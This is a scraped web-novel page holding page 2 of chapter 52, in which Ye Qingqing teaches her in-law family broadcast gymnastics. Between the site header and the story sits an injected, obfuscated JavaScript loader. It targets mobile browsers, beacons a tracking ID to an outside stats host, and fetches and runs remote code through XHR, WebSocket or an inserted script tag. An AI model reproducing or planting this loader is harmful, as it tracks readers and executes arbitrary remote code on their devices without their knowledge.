足迹
齐肩发型
登录
关灯
护眼
字体:

第52章 眼操(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

叶清清眉毛一挑,诱惑道:“还有效果更好的体操,你们要不要学?”

沈如月和沈从望脑袋点的飞快,“要学。”

陈氏没说话,但眼睛看着叶清清,显然也是要学的。

叶清清露出一抹得逞的笑,然后跳了一遍那种学校教的广播体操。

跳完后,叶清清出了一身的汗,她这具身体还是太虚弱了,以后要多多锻炼才行。

沈如月红了脸,身子往后躲了躲,扭捏道:“大嫂,我可不可以不学?”

又蹦又跳的,太丢人了。

陈氏咳了一声,“我去烧饭。”

叶清清拉住她,“娘,还没到饭点呢,不急。这体操有非常非常多的好处,每天早中晚做三次,强身健体,不容易生病,比吃药效果好太多了。”

沈从望第一个响应,“我要学!”

“娘,你看看望儿。”叶清清给了沈从望一个赞赏的眼神,开始忽悠陈氏,“你得给月儿做一个好榜样,你要是不学的话,月儿肯定不会学的。”

叶清清知道陈氏的软肋是几个孩子,几句话就让陈氏动摇了,“娘,你不想月儿有个健康的身体?”

陈氏就没法拒绝了,她停住脚步。陈氏都妥协,沈如月就更不用说,她原本就不太会反抗别人。

一直安静看着的沈从安眉头动了动,他的媳妇,挺会各个击破的,对人心的拿捏非常准确。

三人在狭小的房间里排排站好,叶清清领头,开始教她们做体操。

体操稍微复杂些,叶清清先教她们前三节。扩展、跳跃、下腰,几个节拍下来,几人身上都热乎了,微微喘着气。

沈从望好点,沈如月和陈氏的额角已经有了细细密密的汗。

古代女子为何大都身体弱?还不是不运动。讲究矜持、淑女,笑不露齿行不动裙,蹦蹦跳跳那就是不庄重。

运动量不够,整天坐着,能有好身体才怪了。叶清清可是希望陈氏几人能够长命百岁的,自然要帮她们调理好身体。

药补不如食补,食补不如运动。

叶清清还计划着,把瑜伽等各种健身运动,都教给她们。只是考虑到她们的接受度,要一步一步来,先学会体操,就是一个很好的开始了。

让她们休息了一会,叶清清问,“是不是觉得累,累完了又感觉浑身通畅?”

“是啊。”沈从望眼睛都在发光,他想要个健壮的身体,能靠拳头把沈从辉打趴下。原来除了林长山,自家大嫂也能帮他实现。

沈从望有点崇拜叶清清了。叶清清即将认领第二个小迷弟。

沈如月红着脸微微点头,跳完之后,她真的觉得身上畅快了许多,力气都似乎大了些。

陈氏的效果最好,她常年劳作,落下一身的病。天天坐着刺绣,腰酸背也痛,通过体操伸展了腰肢背部,浑身的血液仿佛被顺了一遍,原本滞塞的地方流通开。